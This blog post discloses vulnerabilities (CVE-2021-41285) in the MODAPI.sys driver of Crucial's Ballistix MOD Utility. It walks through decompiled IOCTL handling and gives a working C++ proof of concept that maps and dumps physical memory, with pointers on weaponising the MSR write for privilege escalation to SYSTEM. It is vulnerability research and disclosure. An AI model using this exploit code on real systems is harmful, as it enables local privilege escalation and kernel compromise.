Crucial Ballistix MOD Utility is a software product that can be used to customize and control gaming systems, specifically LED colours and patterns, memory, temperature, and overclock.
During my vulnerability research, I’ve discovered that this software utilizes a driver, MODAPI.sys
, containing multiple vulnerabilities and allowing an attacker to achieve local privilege escalation from a low privileged user to NT AUTHORITY\SYSTEM
.
This blog post is a re-post of the original article “Crucial’s MOD Utility LPE” that I have written for Yarix on YLabs.
Crucial by Micron Technology, Inc Ballistix MOD Utility v.<= 2.0.2.5 is vulnerable to multiple Privilege Escalation (LPE/EoP) vulnerabilities in the MODAPI.sys
driver component.
All the vulnerabilities are triggered by sending specific IOCTL requests and will allow to:
MmMapIoSpace
function call, mapping physical memory into a virtual address user-space.__readmsr/__writemsr
functions calls.Attackers could exploit these issues to achieve local privilege escalation from low-privileged users to NT AUTHORITY\SYSTEM
.
As always the driver file, IDA’s DB and exploit code, are available on my GitHub repo.
MODAPI.sys - D25340AE8E92A6D29F599FEF426A2BC1B5217299
MODAPI.sys is a driver developed by Crucial as part of Ballistix MOD utility; unfortunately, it is the exact copy of a problematic open-source project, and it also inherits its vulnerabilities:
WinRing0x64.sys - D25340AE8E92A6D29F599FEF426A2BC1B5217299
developed by OpenLibSys.Not only do the hashes perfectly match but “bindiffing” disassembled versions of both drivers clearly prove my point; as can be seen below, MODAPI.sys
is indistinguishable from the WinRing0x64.sys
driver:
Without cheating and reading the open-source code of WinRing0x64.sys
, reverse engineering the MODAPI.sys
driver is quite simple as it doesn’t have many functionalities:
DriverEntry - sub_15008
RealDriverEntry – sub_11008
DispatchDeviceControl – sub_110D8
Readmsr – sub_11468
Readpmc - sub_114D0
UnloadDriver – sub_11424
Writemsr – sub_1149C
MapPhysicalMemory – sub_11504
For the sake of this blog post, we’ll focus on the DispatchDeviceControl
routine and later, in the exploitation phase, on the MapPhysicalMemory
function.
This routine appears as the most complex of the entire binary, as we can see from the below image:
Even if, in reality, it’s quite simple as it acts as a “switch case” for the different IOCTL codes implemented in the driver.
__int64 __fastcall DispatchDeviceControl(__int64 a1, IRP *a2) { unsigned int *p_Information; // rdi _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int status; // ebx unsigned int IOCTL_Code; // eax _IRP *v7; // rcx unsigned int v8; // er8 int v9; // edx unsigned __int32 v10; // eax unsigned int v11; // eax CSHORT v12; // ax unsigned __int8 v13; // al unsigned int Options; // ebx _IRP *v15; // r9 _IRP *v16; // rcx int v17; // edx unsigned int Length; // ebp ULONG *MasterIrp; // r9 ULONG BusDataByOffset; // eax int v21; // eax p_Information = (unsigned int *)&a2->IoStatus.Information; CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; *(_QWORD *)p_Information = 0i64; status = 0xC0000002; // STATUS_NOT_IMPLEMENTED if (!CurrentStackLocation->MajorFunction) { if (dword_13110 == -1) goto exit_ok; v21 = dword_13110 + 1; goto pre_exit_ok; } if (CurrentStackLocation->MajorFunction == 2) { if (dword_13110 == -1) goto exit_ok; v21 = dword_13110 - 1; pre_exit_ok: dword_13110 = v21; goto exit_ok; } if (CurrentStackLocation->MajorFunction != 14) goto exit; IOCTL_Code = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; if (IOCTL_Code > 0x9C4060D4) { if (IOCTL_Code != 0x9C406104) { switch (IOCTL_Code) { case 0x9C406144: Length = CurrentStackLocation->Parameters.Read.Length; if (CurrentStackLocation->Parameters.Create.Options != 8) goto invalid_parameter; MasterIrp = (ULONG *)a2->AssociatedIrp.MasterIrp; BusDataByOffset = HalGetBusDataByOffset( PCIConfiguration, (unsigned __int8)BYTE1(*MasterIrp), (32 * (*MasterIrp & 7)) | ((unsigned __int8)*MasterIrp >> 3), MasterIrp, MasterIrp[1], CurrentStackLocation->Parameters.Read.Length); if (BusDataByOffset) { if (Length == 2 || BusDataByOffset != 2) { if (Length == BusDataByOffset) { *p_Information = Length; goto exit_ok; } status = 0xE0000004; } else { status = 0xE0000002; } } else { status = 0xE0000001; } *p_Information = 0; break; case 0x9C40A0C8: case 0x9C40A0D8: case 0x9C40A0DC: case 0x9C40A0E0: v16 = a2->AssociatedIrp.MasterIrp; v17 = *(_DWORD *)&v16->Type; switch (IOCTL_Code) { case 0x9C40A0D8: __outbyte(v17, *((_BYTE *)&v16->Size + 2)); goto exit_ok; case 0x9C40A0DC: __outword(v17, *(&v16->Size + 1)); goto exit_ok; case 0x9C40A0E0: __outdword(v17, *(_DWORD *)(&v16->Size + 1)); goto exit_ok; } goto invalid_parameter; case 0x9C40A108: goto pre_invalid_param; case 0x9C40A148: Options = CurrentStackLocation->Parameters.Create.Options; if (Options < 8) { invalid_parameter: status = 0xC000000D; // STATUS_INVALID_PARAMETER goto exit; } v15 = a2->AssociatedIrp.MasterIrp; *p_Information = 0; status = Options - 8 != HalSetBusDataByOffset( PCIConfiguration, (unsigned __int8)BYTE1(*(_DWORD *)&v15->Type), (32 * (*(_DWORD *)&v15->Type & 7)) | ((unsigned __int8)*(_DWORD *)&v15->Type >> 3), &v15->MdlAddress, *(_DWORD *)(&v15->Size + 1), Options - 8) ? 0xE0000003 : 0; break; } goto exit; } v11 = MapPhisicalMemory( (__int64)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Create.Options, a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Read.Length, p_Information); pre_exit: status = v11; goto exit; } switch (IOCTL_Code) { case 0x9C4060D4: read_write_B_W_DW: v7 = a2->AssociatedIrp.MasterIrp; v8 = CurrentStackLocation->Parameters.Create.Options; v9 = *(_DWORD *)&v7->Type; switch (IOCTL_Code) { case 0x9C4060CC: v13 = __inbyte(v9); LOBYTE(v7->Type) = v13; goto pre_exit2; case 0x9C4060D0: v12 = __inword(v9); v7->Type = v12; goto pre_exit2; case 0x9C4060D4: v10 = __indword(v9); *(_DWORD *)&v7->Type = v10; pre_exit2: *p_Information = v8; goto exit_ok; } pre_invalid_param: *p_Information = 0; goto invalid_parameter; case 0x9C402000: *(_DWORD *)a2->AssociatedIrp.MasterIrp = 16908293; goto LABEL1; case 0x9C402004: *(_DWORD *)a2->AssociatedIrp.MasterIrp = dword_13110; LABEL1: *(_QWORD *)p_Information = 4i64; exit_ok: status = 0; break; case 0x9C402084: v11 = readmsr( (unsigned int *)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Create.Options, (unsigned __int64 *)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Read.Length, p_Information); goto pre_exit; case 0x9C402088: v11 = writemsr( (__int64)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Create.Options, (__int64)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Read.Length, p_Information); goto pre_exit; case 0x9C40208C: v11 = readpmc( (unsigned int *)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Create.Options, (unsigned __int64 *)a2->AssociatedIrp.MasterIrp, CurrentStackLocation->Parameters.Read.Length, p_Information); goto pre_exit; case 0x9C402090: __halt(); case 0x9C4060C4: case 0x9C4060CC: case 0x9C4060D0: goto read_write_B_W_DW; } exit: a2->IoStatus.Status = status; IofCompleteRequest(a2, 0); return status; }
Looking at the different IOCTL codes we can quickly identify what action each IOCTLs correspond to:
“These functions retrieve/set information, starting at the offset, about a slot or address on an I/O bus.” – MSDN
0x9C406144: HalGetBusDataByOffset
0x9C40A148: HalSetBusDataByOffset
“Generates the out instruction, which sends 1 byte specified by Data out the I/O port specified by Port.” – MSDN
0x9C40A0C8, 0x9C40A0D8 __outbyte, 0x9C40A0DC __outword, 0x9C40A0E0 __outdword
0x9C4060C4, 0x9C4060CC __inbyte, 0x9C4060D0 __inword, 0x9C4060D4 __indword
“The MmMapIoSpace routine maps the given physical address range to nonpaged system space.” – MSDN
0x9C406104: MmMapIoSpace
“Generates the Write to Model Specific Register (wrmsr) instruction which writes the contents of registers EDX:EAX into the 64-bit model-specific register (MSR) specified in the ECX register.” – Felix Cloutier
0x9C402084: __readmsr
0x9C402088: __writemsr
“Generates the rdpmc instruction, which reads the performance monitoring counter specified by counter.” – MSDN
0x9C40208C: __readpmc
“Halts the microprocessor until an enabled interrupt, a non-maskable interrupt (NMI), or a reset occurs.” – MSDN
0x9C402090: __halt
Pretty much any of these privileged operations, if exposed to unprivileged users, directly translate to different vulnerabilities.
Allows a low privilege user to write data to the I/O bus, possibly changing PCI configuration information, or vendor-specific data registers.
Allows a low privilege user to read/write 1/2/4 bytes to or from an IO port. Since I/O privilege level (IOPL) equals to current privilege level (CPL), it is possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke Direct Memory Access (DMA) operations. For example, communicating with ATA port IO for directly writing to the disk, then overwriting a binary that is loaded by a privileged process.
Since we can control all the parameters of the MmMapIoSpace
function, we will possibly be able to specify a physical memory address and offset and copy a user-controlled buffer into that space once it is mapped into our process space. This is essentially a Write-What-Where exploit primitive.
In the below PoC, I’m directly interacting with the RAM, mapping a physical memory address to a newly allocated buffer in userspace in order to disclose its content. Using VDM the PoC below can be quickly weaponized into a full-fledged exploit.
/* Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space Exploit Authors: Paolo Stagno aka VoidSec - [email protected] - https://voidsec.com Grade: PoC CVE: CVE-2021-41285 Date: 15/09/2021 Version: v.2.0.2.5 Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 Category: local exploit Platform: windows */ #include <iostream> #include <iomanip> #include <windows.h> using namespace std; int main() { DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF) DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD) DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call // open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0 HANDLE hDevice = ::CreateFileW( L"\\\\.\\WinRing0_1_2_0", GENERIC_READ | GENERIC_WRITE, NULL, nullptr, OPEN_EXISTING, NULL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl; return -1; } cout << "[+] Opened a handle to MODAPI.sys driver!" << endl; cout << "[-] Allocating buffers' memory area!" << endl; // allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpInBuffer == NULL || lpOutBuffer == NULL) { cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl; return -1; } cout << "[-] Populating lpInBuffer" << endl; memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD)); memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD)); memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD)); cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl; bool success = DeviceIoControl( hDevice, dwIOCTL, lpInBuffer, // expressed in Bytes; MUST be 0x10 0x10, lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead) 0x40, &dwBytesReturned, nullptr); if (!success) { cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << " Error code: " << ::GetLastError() << endl; return -1; } cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead) << " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl; cout << string(70, '-') << endl; // pretty print memory dump for (int nSize = 0; nSize <= 0x32; nSize += 0x10) { for (int i = 0; i <= 0xF; i++) { // output byte printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize)); } cout << " "; for (int i = 0; i <= 0xF; i++) { CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize); // if byte is in printable range, then print it's ASCII representation if (cChar >= 0x20 && cChar <= 0x7E) { printf("%c", *((BYTE*)lpOutBuffer + i + nSize)); } else { cout << "."; } } cout << endl; } cout << string(70, '-') << endl; // housekeeping VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE); VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE); ExitProcess(0); }
Model-Specific Registers (MSRs) are registers used for toggling or querying CPU info. The most interesting thing about MSRs is that on modern systems the MSR _LSTAR
register is used during a system call transition from user-mode to kernel-mode.
The transition to kernel-mode can be schematized as follows:
MSR _LSTAR
registerMSR _LSTAR
pointer (Ring-0)Exposed WRMSR (__writemsr
) instruction gives us a pointer overwrite primitive, the function pointer is called when any syscall is issued and it is called from ring-0. Using msrexec we can quickly weaponize it into a full-fledged exploit.